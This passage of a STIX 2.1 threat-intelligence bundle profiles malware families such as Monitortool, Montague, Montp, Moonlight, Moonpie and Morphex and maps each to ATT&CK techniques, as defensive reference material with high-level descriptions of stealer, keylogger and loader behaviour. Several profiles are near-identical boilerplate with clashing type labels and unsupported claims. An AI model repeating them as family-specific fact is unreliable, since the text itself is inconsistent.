        "Spyware.Keylogger",
        "Tool.Surveillance"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Monitoringtool",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/monitoringtool"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f654678-604f-54d0-a32f-e41db141ba33",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1246b7ad-667f-58ae-b7f7-37359ee714e2",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Monitoringtool exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8287a40c-b843-5123-a0e4-01b391355e95",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1246b7ad-667f-58ae-b7f7-37359ee714e2",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Monitoringtool exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22b32929-8a6f-506f-81fb-84df22bcb45f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1246b7ad-667f-58ae-b7f7-37359ee714e2",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Monitoringtool exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--415380a5-86a9-5873-9802-d7c06ace821b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Monitortool",
      "description": "Riskware:Win32/Monitortool is a generic heuristic detection used by antivirus engines to flag commercial 'employee monitoring', 'parental control', or 'stalkerware' applications. While these tools can be purchased legally and ostensibly have legitimate use cases, their core functionality is identical to highly malicious spyware and keyloggers. Threat actors, advanced persistent threats (APTs), and insider threats frequently weaponize these commercial tools to bypass AV and spy on users.<br><br><b>Understanding Monitortool (Stalkerware/Keyloggers)</b><br>To an end-user, the presence of a Monitortool implies they have zero privacy; every keystroke, email, and website visited is being recorded. For a security analyst, this detection requires immediate investigation. If the IT department did not authorize the installation (e.g., for DLP monitoring), it indicates an active breach, an insider threat, or severe user policy violation (`T1056.001`).<br><br><b>Execution and Espionage Mechanics</b><br>These tools are typically installed manually by someone with physical access to the machine, or deployed silently via an MDM or Group Policy if authorized by IT. Once installed (`T1547.001`), they operate deep within the OS. They utilize Windows API hooking (like `SetWindowsHookEx`) to capture all keystrokes (`T1056.001`), periodically take screenshots (`T1113`), and monitor clipboard contents (`T1115`). Because they are 'legitimate' commercial software, they are often digitally signed and attempt to hide their processes from the standard Task Manager, silently uploading the harvested data to a cloud dashboard controlled by the installer.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a total loss of confidentiality for the endpoint. Host-based IoCs include EDR alerts for 'Suspicious API Hooking' (specifically keyboard hooks). The presence of hidden directories in `C:\\ProgramData` or `AppData` containing massive, encrypted log files or thousands of screenshots is a definitive indicator. Network IoCs include continuous, encrypted outbound traffic to known domains associated with commercial stalkerware vendors (e.g., FlexiSPY, mSpy, ActivTrak). (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Monitortool",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/monitortool"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ec4b988-a098-5828-a771-9f02829274ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--415380a5-86a9-5873-9802-d7c06ace821b",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Monitortool exhibits technique T1056.001 (Input Capture: Keylogging (Primary function))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--745baf89-25e0-5601-9439-f1ee40cc1106",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--415380a5-86a9-5873-9802-d7c06ace821b",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Monitortool exhibits technique T1113 (Screen Capture (Recording desktop activity))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9628294-e506-59c9-862b-ef0a972d90b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--415380a5-86a9-5873-9802-d7c06ace821b",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Monitortool exhibits technique T1115 (Clipboard Data (Capturing copied passwords))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1b4c2457-cc88-539c-b6a3-8774a6058bad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Montague",
      "description": "<h3>Executive Summary</h3>\nMontague is a dedicated Information Stealer (Info-stealer) Trojan. Its primary objective is to silently infiltrate a Windows workstation, rapidly extract sensitive data (including saved browser passwords, cryptocurrency wallets, and session cookies), and exfiltrate this intelligence to a remote Command and Control (C2) server before the victim realizes the machine has been compromised.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMontague is commonly distributed via highly targeted phishing campaigns, malicious links embedded in Discord or Telegram channels, or disguised as cracked software and game cheats on file-sharing networks.\n\nUpon execution, Montague is designed for speed and rapid data acquisition:\n<ul>\n<li><strong>Browser Hooking and Extraction:</strong> The malware immediately targets the local storage databases of popular web browsers (Chrome, Edge, Firefox, Brave). It extracts saved plaintext passwords, auto-fill data (including credit card numbers), and active session cookies. Stolen session cookies allow attackers to bypass Two-Factor Authentication (2FA) for hijacked accounts.</li>\n<li><strong>Cryptocurrency Targeting:</strong> Montague actively searches the local filesystem (specifically the `%AppData%` directory) for wallet files associated with popular cryptocurrency clients (e.g., Bitcoin Core, Electrum) and browser-based wallet extensions (like MetaMask).</li>\n<li><strong>Rapid Exfiltration:</strong> Because Info-stealers do not necessarily need to maintain long-term persistence, Montague quickly bundles the stolen data into a compressed archive and transmits it to the attacker, often utilizing encrypted channels (HTTPS) or abusing legitimate APIs (like Telegram bots) to evade network detection.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Montague infection is a critical data breach. The immediate theft of session cookies and passwords can lead directly to corporate network compromise, massive financial fraud, and severe identity theft. Attackers frequently sell these \"logs\" on dark web marketplaces to Initial Access Brokers (IABs).\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the machine to halt any ongoing data exfiltration.</li>\n<li><strong>Universal Credential Reset:</strong> Assume all passwords saved in the user's browser, as well as all active web sessions, are fully compromised. The user must force a logout of all active sessions and change all passwords from a known-secure device.</li>\n<li><strong>Endpoint Eradication:</strong> Utilize enterprise EDR or anti-malware tools to locate and terminate the Montague process. Pay close attention to scheduled tasks or registry run keys, as some variants do attempt persistence to steal newly entered credentials.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.PWS.Montague",
        "Infostealer.Montague",
        "Win32/Montague"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Montague",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/montague"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0be9b98a-f953-58f6-8d13-3b4b44a4351f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b4c2457-cc88-539c-b6a3-8774a6058bad",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Montague exhibits technique T1003 (OS Credential Dumping (Built-in Mimikatz integration))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68e36531-d2d0-58a9-b4f6-0d7d195d7bc4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b4c2457-cc88-539c-b6a3-8774a6058bad",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Montague exhibits technique T1552.001 (Credentials In Files (Harvesting passwords and wallets from local storage))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ae15bb0-cda1-51c8-8ef4-2974f9cab46c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b4c2457-cc88-539c-b6a3-8774a6058bad",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Montague exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e1b5c8d-65d8-5441-8224-be25c7c64f1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b4c2457-cc88-539c-b6a3-8774a6058bad",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Montague exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bc793b97-bce2-51e4-bd91-dc529fadd65e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Montp",
      "description": "Trojan:Win32/Montp is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Montp</b><br>To an end-user, a Montp infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Montp is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Montp is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Montp frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Montp reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Montp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/montp"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70abce55-f92e-55af-832a-8d8a197ac3a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bc793b97-bce2-51e4-bd91-dc529fadd65e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Montp exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f6c928c-3470-5721-bf99-3ed534240e12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bc793b97-bce2-51e4-bd91-dc529fadd65e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Montp exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7bd8acd4-066c-53fb-b848-19864b91de41",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bc793b97-bce2-51e4-bd91-dc529fadd65e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Montp exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2328b606-755e-5003-95f6-e932b51aea87",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bc793b97-bce2-51e4-bd91-dc529fadd65e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Montp exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4edccee5-0f1e-5672-90c0-05a03ac2ea9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bc793b97-bce2-51e4-bd91-dc529fadd65e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Montp exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--430ff471-5975-5669-b7a6-344b06858333",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Moonlight",
      "description": "Trojan:Win32/Moonlight is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Moonlight</b><br>To an end-user, a Moonlight infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Moonlight is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Moonlight is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Moonlight frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Moonlight reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Moonlight",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/moonlight"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--baeb98ac-281c-5675-aaa9-81fc510a570a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--430ff471-5975-5669-b7a6-344b06858333",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moonlight exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6a73b58-0ae0-5e6e-ab1d-ad214ec65ad2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--430ff471-5975-5669-b7a6-344b06858333",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moonlight exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9342db8-3fff-55d3-8c68-7968d94d96c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--430ff471-5975-5669-b7a6-344b06858333",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moonlight exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--788f85de-e37a-58b0-b64e-f33c4b62ebfb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--430ff471-5975-5669-b7a6-344b06858333",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moonlight exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8039732d-f2b3-5c59-bdb6-6ed5f216605e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--430ff471-5975-5669-b7a6-344b06858333",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moonlight exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2404cff3-056e-5211-9d45-2a4ed4245d98",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Moonpie",
      "description": "<h3>Executive Summary</h3>\nMoonpie (sometimes associated with advanced persistent threat toolsets) is a sophisticated Backdoor and remote access trojan (RAT) designed for long-term, stealthy espionage and data exfiltration. Unlike loud \"smash and grab\" malware, Moonpie is engineered to maintain a covert presence on high-value targets, providing attackers with a persistent, interactive shell into the compromised environment.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMoonpie is typically deployed post-compromise. Threat actors achieve initial access via spear-phishing, exploiting public-facing vulnerabilities, or purchasing access from initial access brokers, and then deploy Moonpie to solidify their hold on the network.\n\nOnce active, Moonpie exhibits advanced backdoor capabilities:\n<ul>\n<li><strong>Covert C2 Communications:</strong> Moonpie frequently utilizes encrypted, custom protocols or hides its command-and-control (C2) traffic within legitimate protocols (like HTTPS or DNS tunneling) to evade network intrusion detection systems (NIDS).</li>\n<li><strong>Interactive Shell and File System Access:</strong> The backdoor provides the remote operator with full, interactive command-line access. The attacker can silently browse the file system, upload/download files, and execute arbitrary commands with the privileges of the compromised user or system account.</li>\n<li><strong>Evasion and Persistence:</strong> Moonpie often employs techniques like DLL side-loading, process hollowing, or rootkit-like API hooking to hide its presence from local task managers and standard antivirus solutions.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe discovery of Moonpie indicates a severe, targeted breach. Its presence suggests that a highly capable threat actor has established a persistent foothold and is likely actively engaged in lateral movement, privilege escalation, or the exfiltration of sensitive intellectual property.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate IR Activation:</strong> A Moonpie infection requires a full-scale Incident Response investigation. Standard remediation (simply deleting the file) is insufficient, as the attackers have likely established multiple fallback persistence mechanisms.</li>\n<li><strong>Network Isolation and Forensic Capture:</strong> Isolate the affected host but keep it powered on to capture volatile memory (RAM). Memory forensics is crucial for extracting the decrypted payload, active C2 connections, and potentially identifying lateral movement vectors.</li>\n<li><strong>Enterprise-Wide Credential Reset:</strong> Assume all credentials, including domain administrator accounts, have been compromised. Force a global password reset and heavily monitor Active Directory for the creation of unauthorized accounts.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor.Moonpie",
        "APT.Moonpie",
        "Win32/Moonpie"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Moonpie",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/moonpie"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55f93e13-d75a-5e47-8b3c-74477c6e53db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2404cff3-056e-5211-9d45-2a4ed4245d98",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moonpie exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--572cbf94-4ccf-5574-aab4-ae86ebcbe5bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2404cff3-056e-5211-9d45-2a4ed4245d98",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moonpie exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eb12dde1-3a86-512e-8c12-5d4e36da5e97",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2404cff3-056e-5211-9d45-2a4ed4245d98",
      "target_ref": "attack-pattern--a73094ae-6cb5-53a9-a937-65ad0cac8744",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moonpie exhibits technique T1573 (Encrypted Channel)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad4232f9-3841-5d41-896a-ddfcec9bdc29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2404cff3-056e-5211-9d45-2a4ed4245d98",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moonpie exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--45d18de9-c113-5bd3-bad5-e74386c197d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Morphex",
      "description": "Trojan:Win32/Morphex is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Morphex</b><br>To an end-user, a Morphex infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Morphex is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Morphex is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Morphex frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Morphex reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Morphex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/morphex"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f6e3545-e325-5eac-b704-9a0852d5a201",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45d18de9-c113-5bd3-bad5-e74386c197d1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Morphex exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01f75013-8b54-5f86-9591-7e1d0cd8e1d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45d18de9-c113-5bd3-bad5-e74386c197d1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Morphex exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aaa021bd-6669-52b7-baeb-822388a65990",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45d18de9-c113-5bd3-bad5-e74386c197d1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
